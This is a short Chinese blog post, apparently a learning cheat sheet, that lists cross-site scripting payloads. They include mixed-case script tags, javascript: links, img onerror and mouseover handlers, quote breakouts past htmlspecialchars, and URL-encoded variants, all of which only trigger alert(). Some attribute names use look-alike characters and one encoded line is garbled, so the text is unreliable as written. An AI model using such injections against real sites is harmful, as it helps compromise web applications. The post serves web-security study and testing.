xss-payload_如何使用xss让它返回

作者：小小林熬夜学编程 | 2024-06-13 12:32:38

踩

如何使用xss让它返回

payload-有效载荷：

<sCriPt>alert(1)</ScriPt>

<a href="javascript:alert('xss')">xss</a> #a链接的xss

<img src=x οnerrοr=alert(1)> #加载图形失败执行

<input οnmοuseοver=alert(1)> （简单防绕过）

#' οnclick="alert(111)"> （使用DOM型的xss）

xss之htmlspecialchars方法:

1) ' οnclick='alert(111)'

2) ' οnmοuseοver='alert(1)

3) ' οnmοuseοver='javascript:alert(1)'

xss之href输出:(输入的参数在herf标签中，可以使用javascript协议来执行js)

javascript:alert(1)

xss之js输出

lili'</script><script>alert("xss")</script>

写在后面：

对于GET和POST 方式的，随便输入，检查在标签<p>中，就可以直接用简单的payload进行注入，如：

URL编码：

"οnmοuseοver="61leralertt(11) %22onmouseover%3D%2261leralertt(11)

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/小小林熬夜学编程/article/detail/712810